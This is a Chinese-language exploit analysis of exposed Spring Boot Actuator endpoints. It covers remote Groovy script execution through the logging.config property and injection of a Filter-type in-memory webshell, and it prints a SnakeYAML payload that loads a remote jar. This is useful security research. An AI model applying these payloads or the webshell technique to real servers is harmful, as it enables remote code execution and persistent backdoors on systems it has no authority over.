Spring boot最经典的漏洞莫过于由于配置不当导致Actuator的相关路由暴露从而导致信息泄露以及各种远程命令执行漏洞。根据spingboot官方文档,以spring-boot 2.1.10版本为例,对于web应用程序来说,以下端口默认是开启的。
具体开放端口可通过management.endpoints.web.exposure.include=
进行配置。一些公开的常用利用链包括spring cloud SnakeYAML RCE
,通过设置 spring.cloud.bootstrap.location
属性加载外部恶意 yml 文件和jolokia logback
进行jndi利用。在整理Springboot关于Actuator的利用时,注意到groovy脚本执行的利用方式,以下对该漏洞利用原理进行分析。
0x00 设置logging.config
属性执行groovy脚本
根据springboot
相关文档说明:可通过Spring 环境属性“logging.config
”进一步设置配置文件的位置。
同样首先通过/actuator/env
接口修改logging.config
的属性值。
然后通过/actuator/restart
接口重启应用程序,使之重新加载修改到环境属性中的“logging.config”值,
关键代码在org.springframework.boot.context.logging.LoggingApplicationListener#initialize()
方法中。如下图,通过this.initializeSystem(environment, this.loggingSystem, this.logFile);
初始化Springboot应用程序的logging system。
此时environment
包含:
跟进initializeSystem()
方法到org.springframework.boot.context.logging.LoggingApplicationListener#initializeSystem()
方法,从environment
中取出logging.config
属性,进入system.initialize(initializationContext, logConfig, logFile);
。
下面流程经org.springframework.boot.logging.logback.LogbackLoggingSystem#initialize()
->org.springframework.boot.logging.logback.LogbackLoggingSystem#loadConfiguration()
->org.springframework.boot.logging.logback.LogbackLoggingSystem#configureByResourceUrl()
。
当url
,即设置的logging.config
值不是xml结尾的话,进入ch.qos.logback.classic.util.ContextInitializer#configureByResource()
当logging.config
属性值是以groovy
结尾,进入GafferUtil.runGafferConfiguratorOn(loggerContext, this, url);
。跟踪下来最终触发groovy.lang.GroovyShell#parse(java.lang.String)
;其中参数scriptText
是从logging.config
值中的url——http://127.0.0.1:8989/test.groovy中请求的groovy脚本内容。
调用链如下图:
groovy脚本成功执行:
但是需要注意的是!该漏洞利用需要重启目标应用程序,可能会产生不可预料的破坏,尤其当设置的logging.config
值所指向的groovy脚本不存在,或者groovy脚本中存在语法错误时,目标应用程序会不正常的退出。总之,该漏洞慎用。
0x01 利用spring cloud SnakeYAML利用注入Springboot内存马
对于Springboot来说,不能通过上传文件getshell,因此注入内存马技术对springboot来说很重要。对于springboot来说,根据内存马类型可大致分为filer型,Interceptor型,controller型。由于springboot在处理过程中先后顺序的差别(先经filter
处理,然后到controller
处理,再到Interceptor
拦截器处理)。由于对权限控制的考虑,优先注入Filter型内存马。
Springboot内存吗注入思路:首先获取应用上下文ApplicationContext,对于内置服务器是tomcat的springboot应用来说,应用上下文是org.apache.catalina.core.ApplicationContextFacade
类。通过org.apache.catalina.core.ApplicationContextFacade
的addFilter()
方法注入自定义Filter。
因此重点是如何获取应用上下文呢?对于tomcat来说,可以通过request
对象——org.apache.catalina.connector.Request
类的getServletContext()
方法获取。
因此现在又把目光放在如何获取request
对象。一般从线程入手。通过调试,可通过Thread.currentThread().threadLocals.table
获取线程中与request
对象相关的对象,如下图所示,这里通过Thread.currentThread().threadLocals.table[12]
的value
可获取request
对象。
因此,进一步可通过((ServletRequestAttributes) Thread.currentThread().threadLocals.table[12].value).request.getServletContext();
获取上下文环境,进而利用该上下文对象org.apache.catalina.core.ApplicationContextFacade
调用addFilter()
完成内存马注入。
细节方面,在org.apache.catalina.core.ApplicationContext#addFilter(java.lang.String, java.lang.String, javax.servlet.Filter)
中,需满足this.context.getState()
值为LifecycleState.STARTING_PREP
,否则不能继续向下注入Filter。此操作可通过反射进行设置。
完成addFilter()
操作后,通过org.apache.catalina.core.ApplicationFilterRegistration
的addMappingForServletNames()
方法为该Filter设置路由。最后,别忘了再通过反射将该context
的state
属性恢复原值。由此完成Springboot之Filter型内存马的注入。
这里需要注意的是,在一些场景下,比如通过jndi利用时,有可能当前线程Thread.currentThread()
并不是http类的线程,因此需要遍历所有线程,在里面找与http相关的符合需要的线程。
对本例通过spring cloud SnakeYAML注入Filter内存马效果如下:
mem.yml
文件内容为:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8989/mem.jar"]
]]
]
注入内存马的代码在mem.jar中。如何制作mem.jar包,请参考https://github.com/artsploit/yaml-payload
内存马注入后效果如下:
总结
关于Spring Boot Actuator相关利用方式有很多,但都跟配置相关,如大部分情况需要开启refresh
接口,甚至在利用restart
接口时更要慎重,否则利用不慎则会对目标应用异常退出。另外,根据目标应用实际暴露的endpoint以及mbeans,可能存在其他利用方式。